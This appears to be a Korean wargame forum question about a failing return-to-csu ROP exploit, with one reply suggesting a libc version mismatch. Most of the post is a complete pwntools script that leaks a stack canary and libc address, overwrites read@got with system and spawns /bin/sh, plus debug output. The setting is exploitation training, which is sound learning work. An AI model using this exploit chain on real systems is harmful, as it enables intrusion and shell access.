[rop] Return-to-Csu

실습에서 진행한 방식대로 코드를 짜서 익스플로잇을 해보니 로컬 환경에서는 실행되지만, 아무리 해봐도 원격 환경에서는 실행이 안되서 Return to csu 기법으로 시도를 해보았습니다.

먼저 libc_csu의 주소를 찾으려고 봐봤더니

   0x00000000004007ea <+90>:    pop    rbx
   0x00000000004007eb <+91>:    pop    rbp
   0x00000000004007ec <+92>:    pop    r12
   0x00000000004007ee <+94>:    pop    r13
   0x00000000004007f0 <+96>:    pop    r14
   0x00000000004007f2 <+98>:    pop    r15
   0x00000000004007f4 <+100>:   ret
   
   0x00000000004007d0 <+64>:    mov    rdx,r15
   0x00000000004007d3 <+67>:    mov    rsi,r14
   0x00000000004007d6 <+70>:    mov    edi,r13d
   0x00000000004007d9 <+73>:    call   QWORD PTR [r12+rbx*8]
   0x00000000004007dd <+77>:    add    rbx,0x1
   0x00000000004007e1 <+81>:    cmp    rbp,rbx
   0x00000000004007e4 <+84>:    jne    0x4007d0 <__libc_csu_init+64>
   0x00000000004007e6 <+86>:    add    rsp,0x8

구글링을 해본 결과와 다르게 r15가 rdx로 들어가고 r13이 rdi로 들어가도록 코드가 출력되었습니다.

그래서 그냥 저 위치에 맞게 코드를 짜면 되겠다 해서 익스플로잇 코드를 짜고

from pwn import *

def slog(name, addr):
        return success(": ".join([name, hex(addr)]))

context.log_level = 'debug'

p = process("./rop")
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
r = ROP(e)


# [1] Leak Canary
buf = b'A'*57
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)


# [2] Exploit
puts_plt = e.plt['puts']
read_got = e.got['read']
bss = e.bss()

pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
csu_init1 = 0x4007ea
csu_init2 = 0x4007d0
dummy = b'A'*8

payload = b'A'*56 + p64(canary) + b'B'*8


# puts(read@got) => read 함수 실제 주소 leak
payload += p64(pop_rdi) + p64(read_got) # puts(read@got)
payload += p64(puts_plt)        # puts(read@got) 호출

# read(0, bss, 8) => bss 영역에 "/bin/sh" 쓰기
payload += p64(csu_init1)
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(bss)
payload += p64(8)
payload += p64(csu_init2)

# read(0, read@got, 8) => read@gotsystem으로 overwrite
payload += dummy
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(read_got)
payload += p64(8)
payload += p64(csu_init2)

# read("/bin/sh") => system("/bin/sh")를 호출
payload += dummy
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(bss)
payload += p64(0)
payload += p64(0)
payload += p64(csu_init2)

slog("payload length", len(payload))

pause()
p.sendafter("Buf: ", payload)                   # puts()와 read got를 이용해서 read() 주소 출력
read = u64(p.recv(6)+b'\x00'*2)        # 화면에 출력된 read() 주소를 read에 대입
lb = read - libc.symbols["read"]        # libc base = read 주소 - read symbols
system = lb + libc.symbols["system"]    # system = libc base + system symbols

slog("read", read)
slog("libc_base", lb)
slog("system", system)

p.send(b"/bin/sh")
p.send(p64(system))

p.interactive()

실행을 시켜보았는데

$ python3 local2.py
[+] Starting local process './rop' argv=[b'./rop'] : pid 976
[*] '/home/ion/dreamhack/Exploit_Tech_Return_Oriented_Programming/wargame/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 14 cached gadgets for './rop'
[DEBUG] Received 0x15 bytes:
    b'[1] Leak Canary\n'
    b'Buf: '
[DEBUG] Sent 0x39 bytes:
    65 * 0x39
[DEBUG] Received 0x64 bytes:
    00000000  42 75 66 3a  20 41 41 41  41 41 41 41  41 41 41 41  │Buf:│ AAA│AAAA│AAAA│
    00000010  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000030  41 41 41 41  41 41 41 41  41 41 41 41  41 41 03 02  │AAAA│AAAA│AAAA│AA··│
    00000040  1e 10 d9 7f  a0 90 07 40  0a 5b 32 5d  20 49 6e 70  │····│···@│·[2]│ Inp│
    00000050  75 74 20 52  4f 50 20 70  61 79 6c 6f  61 64 0a 42  │ut R│OP p│aylo│ad·B│
    00000060  75 66 3a 20                                         │uf: │
    00000064
[+] Canary: 0xa07fd9101e020300
[+] payload length: 0x120
[*] Paused (press any to continue)
[DEBUG] Sent 0x120 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000030  41 41 41 41  41 41 41 41  00 03 02 1e  10 d9 7f a0  │AAAA│AAAA│····│····│
    00000040  42 42 42 42  42 42 42 42  f3 07 40 00  00 00 00 00  │BBBB│BBBB│··@·│····│
    00000050  30 10 60 00  00 00 00 00  70 05 40 00  00 00 00 00  │0·`·│····│p·@·│····│
    00000060  ea 07 40 00  00 00 00 00  00 00 00 00  00 00 00 00  │··@·│····│····│····│
    00000070  01 00 00 00  00 00 00 00  30 10 60 00  00 00 00 00  │····│····│0·`·│····│
    00000080  00 00 00 00  00 00 00 00  50 10 60 00  00 00 00 00  │····│····│P·`·│····│
    00000090  08 00 00 00  00 00 00 00  d0 07 40 00  00 00 00 00  │····│····│··@·│····│
    000000a0  41 41 41 41  41 41 41 41  00 00 00 00  00 00 00 00  │AAAA│AAAA│····│····│
    000000b0  01 00 00 00  00 00 00 00  30 10 60 00  00 00 00 00  │····│····│0·`·│····│
    000000c0  00 00 00 00  00 00 00 00  30 10 60 00  00 00 00 00  │····│····│0·`·│····│
    000000d0  08 00 00 00  00 00 00 00  d0 07 40 00  00 00 00 00  │····│····│··@·│····│
    000000e0  41 41 41 41  41 41 41 41  00 00 00 00  00 00 00 00  │AAAA│AAAA│····│····│
    000000f0  01 00 00 00  00 00 00 00  30 10 60 00  00 00 00 00  │····│····│0·`·│····│
    00000100  50 10 60 00  00 00 00 00  00 00 00 00  00 00 00 00  │P·`·│····│····│····│
    00000110  00 00 00 00  00 00 00 00  d0 07 40 00  00 00 00 00  │····│····│··@·│····│
    00000120
[DEBUG] Received 0x7 bytes:
    00000000  20 50 69 e6  e5 7f 0a                               │ Pi·│···│
    00000007
[+] read: 0x7fe5e6695020
[+] libc_base: 0x7fe5e6585000
[+] system: 0x7fe5e65d4420
[DEBUG] Sent 0x7 bytes:
    b'/bin/sh'
[DEBUG] Sent 0x8 bytes:
    00000000  20 44 5d e6  e5 7f 00 00                            │ D]·│····│
    00000008
[*] Process './rop' stopped with exit code -11 (SIGSEGV) (pid 976)
Traceback (most recent call last):
  File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/process.py", line 700, in send_raw
    self.proc.stdin.flush()
BrokenPipeError: [Errno 32] Broken pipe

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "local2.py", line 82, in <module>
    p.send(p64(system))
  File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/tube.py", line 777, in send
    self.send_raw(data)
  File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/process.py", line 702, in send_raw
    raise EOFError
EOFError
Traceback (most recent call last):
  File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/process.py", line 746, in close
    fd.close()
BrokenPipeError: [Errno 32] Broken pipe

계속 오류가 발생합니다.

어떤 부분에서 실수를 한 걸까요?

#pwnable
작성자 정보
답변 1
avatar
Sechack
CTF First Place

로컬과 서버 환경의 libc가 다른가봅니다. libc.nullbyte.cat에서 올바른 libc버전을 찾아보세요.

2022.06.07. 16:02
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기